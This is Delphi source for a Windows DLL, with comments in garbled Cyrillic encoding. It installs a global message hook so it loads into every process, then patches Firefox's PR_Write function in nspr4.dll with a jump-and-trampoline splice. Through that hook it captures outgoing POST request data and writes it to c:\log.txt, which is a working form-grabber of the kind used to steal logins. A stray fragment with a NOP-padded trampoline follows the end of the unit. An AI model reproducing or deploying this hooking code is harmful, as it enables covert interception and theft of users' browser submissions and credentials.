library splice;

uses
   Windows;

type

  opcl=function (Opcode : pointer; NeedLen : integer):integer; stdcall;
  far_jmp =packed record
   PuhsOp: byte;
   PushArg: pointer;
  end;

const
   MutexName='__API_HOOK';
  var
   needed:integer;
  adr:dword;
   SH:HHOOK = 0;
   beg:array[0..50] of byte;//ïîä íà÷àëî
   pr_write_tramp:pointer;

function trampl( fp:pointer ;buf:pointer;amount:integer):integer; cdecl;
begin

asm    //ñîõðàíÿåì ðåãèñòðû  (åñëè ôîêñ çàõî÷åò èõ ïðîâåðèòü)
   push ebp
   mov ebp,esp
   sub esp,0CCh
    push ebx
   push esi
   push edi
end;

MessageBox(0,'Òðàìïëèí óïðàâëåíèå ïîëó÷èë ))',nil,0);

asm//âîññòàíâàëèâàåì ðåãñèòðû
   pop edi
   pop esi
   pop ebx
     add esp,0CCh
   mov esp,ebp
   pop ebp
   jmp pr_write_tramp//ïðûã-ïðûã
end;

end;

function pr_write_hook(fd:pointer;buf:pointer; amount:integer):integer; cdecl;
var
str:pchar;
res:string;
f:textfile;
begin
//òóò áóäåò ðåãèñòðàöèÿ ïîñò çàïðîñîâ
GetMem(str,1024);
CopyMemory(str,buf,1024);
if copy(string(str),0,4)='POST' then
begin
res:=copy(string(str),0,pos(#13#10#13#10,string(str)));
assignfile(f,'c:\log.txt');
Append(f);
Writeln(f,res);
closefile(f);
end;
result:=trampl(fd,buf,amount);
end;

Procedure SetHook();

var
  hnspr: dword;
  Bytes: dword;
  dasm:HMODULE;
  func:opcl;
  jmpcode,jump:far_jmp;
  i:integer;
  nop:byte;
  old_prot:dword;
begin
   hnspr := GetModuleHandle('nspr4.dll');
   if(hnspr=0) then exit;
   Adr  :=dword(GetProcAddress(hnspr, 'PR_Write')); //ïîëó÷àåì àäðåñ ôóíêöèè êîòîðóþ ïåðåõâàòûâàåì
   dasm:=Loadlibrary('opclen.dll');//çàãðóæàåì äèçàñåìáëåð äëèíí
   @func:=getprocaddress(dasm,'GetOpcodeLen');
   needed:=func(pointer(adr),5);//óçíàåì ñêîëüêî ïåðåíîñèòü, ÷òîá íå íàðóøàòü öåëîñòíîñòü èíñòðóêöèé
   //õóê
   jmpcode.PuhsOp:=$E9;
   jmpcode.PushArg:=pointer(dword(@pr_write_hook)-adr-dword(needed));
   nop:=$90;
   for i:=0 to needed-1 do   WriteProcessMemory(INVALID_HANDLE_VALUE, pointer(adr+dword(i)), @nop, 1, Bytes);//NOP-àåì ëèøíèå áàéòû
   WriteProcessMemory(INVALID_HANDLE_VALUE, pointer(adr), @jmpcode, sizeof(jmpcode), Bytes);//çàìåíÿåì ïåðâûå N áàéò íà êîä, ïåðåäàþùèìé óïðàâëåíèå ïåðåõâàò÷èêó

   //òðàìïëèí
   GetMem(pr_write_tramp,needed+sizeof(jump));  //âûäåëÿåì ïàìÿòü äëÿ òðàìïëèíà
   VirtualProtect(pr_write_tramp, needed+sizeof(jump), PAGE_EXECUTE_READWRITE, old_prot);//ïðîòåêòèì ÷òîá òàì ìîãëè âûïîëíÿòüñÿ èíñòðóêöèè
   jump.PuhsOp:=$E9;
   jump.PushArg:=pointer(adr-dword(pr_write_tramp)-dword(needed));
   ReadProcessMemory(INVALID_HANDLE_VALUE, pointer(Adr), @beg, needed, Bytes);//÷èòàåì ïåðâûå N áàéò(÷òîá çàïèñàòü â òðàìïëèí)
   CopyMemory(pr_write_tramp,@beg,needed);//ïåðåíîñèì íà÷àëî
   CopyMemory(pointer(dword(pr_write_tramp)+dword(needed)),@jump,sizeof(jump));//ïåðåíîñèì ïðûæîê

end;
Procedure Unhook();
var
  Bytes: dword;

  begin
  //òóò êàê áý íàäî òîðìîçíóòü âñå ïîòîêè è ïîñëå âîññòàíîâëåíèÿ ïóñòèòü äàëüøå,
  // íî ìíå ïîêà íå äî ýòîãî
   WriteProcessMemory(INVALID_HANDLE_VALUE, pointer(Adr), @beg, needed, Bytes);
end;

// ñòàâèì ãëîáàëüíûé õóê  ÷òîá äëë ãðóçèëàñü âî âñå ïðîöåññû ñðàçó
Function MessageProc(code : integer; wParam : word;
                     lParam : longint) : longint; stdcall;
begin
  CallNextHookEx(0, Code, wParam, lparam);
  Result := 0;
end;

Procedure SetGlobalHookProc();
begin
  SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
  Sleep(INFINITE);
end;
//

Procedure SetGlobalHook();
var
  hMutex: dword;
  TrId: dword;
begin
  hMutex := CreateMutex(nil, false, 'AdvareHook');
  if GetLastError = 0 then
  CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId) else
  CloseHandle(hMutex);
end;

procedure DLLEntryPoint(dwReason: DWord);
begin
   case dwReason of
     DLL_PROCESS_ATTACH: begin
                           SetGlobalHook();
                           Randomize();
                           SetHook()
                         end;
     DLL_PROCESS_DETACH: UnHook();
   end;
end;

begin
  DllProc := @DLLEntryPoint;
  DLLEntryPoint(DLL_PROCESS_ATTACH);

end.

function trampl( fp:pointer ;buf:pointer;amount:integer):integer; cdecl;
begin
asm
nop
nop
nop
nop
...
nop
end;//число nop-ов ~20-30
end;